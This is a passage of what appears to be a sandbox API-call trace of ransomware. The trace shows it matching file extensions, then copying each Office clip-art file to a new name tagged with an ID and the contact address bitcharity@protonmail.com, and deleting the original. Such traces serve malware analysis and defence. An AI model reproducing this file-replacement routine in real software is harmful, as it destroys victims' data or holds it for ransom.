lpString2=".WMF") returned 1 [0296.304] lstrlenW (lpString=".xlsx") returned 5 [0296.304] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.304] lstrlenW (lpString=".ppt") returned 4 [0296.304] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0296.304] lstrlenW (lpString=".zip") returned 4 [0296.304] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.304] lstrlenW (lpString=".rar") returned 4 [0296.304] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.304] lstrlenW (lpString=".bz2") returned 4 [0296.304] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.304] lstrlenW (lpString=".7z") returned 3 [0296.304] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0296.304] lstrlenW (lpString=".dbf") returned 4 [0296.304] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0296.304] lstrlenW (lpString=".1cd") returned 4 [0296.304] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01173_.WMF") returned 68 [0296.304] lstrlenW (lpString=".jpg") returned 4 [0296.304] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.304] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.304] lstrlenW (lpString="DD01181_.WMF") returned 12 [0296.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0296.305] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=1448) returned 1 [0296.305] CloseHandle (hObject=0x10bc) returned 1 [0296.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x220 [0296.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0296.305] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.305] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0296.306] GetLastError () returned 0x0 [0296.306] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x5a8, lpOverlapped=0x0) returned 1 [0296.457] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x5b0, lpOverlapped=0x0) returned 1 [0296.458] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.458] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.458] SetEndOfFile (hFile=0x10dc) returned 1 [0296.458] CloseHandle (hObject=0x10dc) returned 1 [0296.459] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.459] SetEndOfFile (hFile=0x10bc) returned 1 [0296.459] CloseHandle (hObject=0x10bc) returned 1 [0296.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 1 [0296.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0296.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0296.460] lstrlenW (lpString=".doc") returned 4 [0296.460] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.460] lstrlenW (lpString=".docx") returned 5 [0296.460] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.460] lstrlenW (lpString=".pdf") returned 4 [0296.460] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.460] lstrlenW (lpString=".xls") returned 4 [0296.460] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.460] lstrlenW (lpString=".xlsx") returned 5 [0296.460] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.460] lstrlenW (lpString=".ppt") returned 4 [0296.460] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0296.460] lstrlenW (lpString=".zip") returned 4 [0296.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.460] lstrlenW (lpString=".rar") returned 4 [0296.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.460] lstrlenW (lpString=".bz2") returned 4 [0296.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.460] lstrlenW (lpString=".7z") returned 3 [0296.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0296.461] lstrlenW (lpString=".dbf") returned 4 [0296.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0296.461] lstrlenW (lpString=".1cd") returned 4 [0296.461] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0296.461] lstrlenW (lpString=".jpg") returned 4 [0296.461] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0296.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0296.461] lstrlenW (lpString=".doc") returned 4 [0296.461] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.461] lstrlenW (lpString=".docx") returned 5 [0296.461] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.461] lstrlenW (lpString=".pdf") returned 4 [0296.461] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.461] lstrlenW (lpString=".xls") returned 4 [0296.461] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.461] lstrlenW (lpString=".xlsx") returned 5 [0296.461] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.461] lstrlenW (lpString=".ppt") returned 4 [0296.461] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0296.461] lstrlenW (lpString=".zip") returned 4 [0296.461] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.461] lstrlenW (lpString=".rar") returned 4 [0296.461] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.461] lstrlenW (lpString=".bz2") returned 4 [0296.461] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.461] lstrlenW (lpString=".7z") returned 3 [0296.461] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0296.461] lstrlenW (lpString=".dbf") returned 4 [0296.461] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0296.462] lstrlenW (lpString=".1cd") returned 4 [0296.462] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0296.462] lstrlenW (lpString=".jpg") returned 4 [0296.462] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.462] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.462] lstrlenW (lpString="DD01186_.WMF") returned 12 [0296.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0296.462] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=8564) returned 1 [0296.462] CloseHandle (hObject=0x10bc) returned 1 [0296.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x220 [0296.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0296.463] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.463] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0296.463] GetLastError () returned 0x0 [0296.463] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x2174, lpOverlapped=0x0) returned 1 [0296.558] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x2180, lpOverlapped=0x0) returned 1 [0296.559] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.559] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.559] SetEndOfFile (hFile=0x10dc) returned 1 [0296.559] CloseHandle (hObject=0x10dc) returned 1 [0296.559] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.559] SetEndOfFile (hFile=0x10bc) returned 1 [0296.560] CloseHandle (hObject=0x10bc) returned 1 [0296.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 1 [0296.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0296.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0296.561] lstrlenW (lpString=".doc") returned 4 [0296.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.561] lstrlenW (lpString=".docx") returned 5 [0296.561] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.561] lstrlenW (lpString=".pdf") returned 4 [0296.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.561] lstrlenW (lpString=".xls") returned 4 [0296.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.561] lstrlenW (lpString=".xlsx") returned 5 [0296.561] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.561] lstrlenW (lpString=".ppt") returned 4 [0296.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0296.561] lstrlenW (lpString=".zip") returned 4 [0296.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.561] lstrlenW (lpString=".rar") returned 4 [0296.561] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.561] lstrlenW (lpString=".bz2") returned 4 [0296.561] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.561] lstrlenW (lpString=".7z") returned 3 [0296.561] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0296.562] lstrlenW (lpString=".dbf") returned 4 [0296.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0296.562] lstrlenW (lpString=".1cd") returned 4 [0296.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0296.562] lstrlenW (lpString=".jpg") returned 4 [0296.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0296.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0296.562] lstrlenW (lpString=".doc") returned 4 [0296.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.562] lstrlenW (lpString=".docx") returned 5 [0296.562] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.562] lstrlenW (lpString=".pdf") returned 4 [0296.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.562] lstrlenW (lpString=".xls") returned 4 [0296.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.562] lstrlenW (lpString=".xlsx") returned 5 [0296.562] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.562] lstrlenW (lpString=".ppt") returned 4 [0296.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0296.562] lstrlenW (lpString=".zip") returned 4 [0296.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.562] lstrlenW (lpString=".rar") returned 4 [0296.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.562] lstrlenW (lpString=".bz2") returned 4 [0296.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.562] lstrlenW (lpString=".7z") returned 3 [0296.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0296.563] lstrlenW (lpString=".dbf") returned 4 [0296.563] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0296.563] lstrlenW (lpString=".1cd") returned 4 [0296.563] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0296.563] lstrlenW (lpString=".jpg") returned 4 [0296.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.563] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.563] lstrlenW (lpString="DD01629_.WMF") returned 12 [0296.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0296.564] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=580) returned 1 [0296.564] CloseHandle (hObject=0x10bc) returned 1 [0296.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 0x220 [0296.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0296.564] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.564] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0296.565] GetLastError () returned 0x0 [0296.565] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x244, lpOverlapped=0x0) returned 1 [0296.566] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x250, lpOverlapped=0x0) returned 1 [0296.567] ReadFile (in: hFile=0x10bc, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.567] WriteFile (in: hFile=0x10dc, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.567] SetEndOfFile (hFile=0x10dc) returned 1 [0296.567] CloseHandle (hObject=0x10dc) returned 1 [0296.567] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.567] SetEndOfFile (hFile=0x10bc) returned 1 [0296.568] CloseHandle (hObject=0x10bc) returned 1 [0296.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.568] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 1 [0296.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0296.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0296.568] lstrlenW (lpString=".doc") returned 4 [0296.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.568] lstrlenW (lpString=".docx") returned 5 [0296.568] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.568] lstrlenW (lpString=".pdf") returned 4 [0296.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.568] lstrlenW (lpString=".xls") returned 4 [0296.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.568] lstrlenW (lpString=".xlsx") returned 5 [0296.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.568] lstrlenW (lpString=".ppt") returned 4 [0296.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0296.569] lstrlenW (lpString=".zip") returned 4 [0296.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.569] lstrlenW (lpString=".rar") returned 4 [0296.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.569] lstrlenW (lpString=".bz2") returned 4 [0296.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.569] lstrlenW (lpString=".7z") returned 3 [0296.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0296.569] lstrlenW (lpString=".dbf") returned 4 [0296.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0296.569] lstrlenW (lpString=".1cd") returned 4 [0296.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0296.569] lstrlenW (lpString=".jpg") returned 4 [0296.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0296.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0296.569] lstrlenW (lpString=".doc") returned 4 [0296.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.569] lstrlenW (lpString=".docx") returned 5 [0296.569] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.569] lstrlenW (lpString=".pdf") returned 4 [0296.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.569] lstrlenW (lpString=".xls") returned 4 [0296.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.569] lstrlenW (lpString=".xlsx") returned 5 [0296.569] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.569] lstrlenW (lpString=".ppt") returned 4 [0296.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 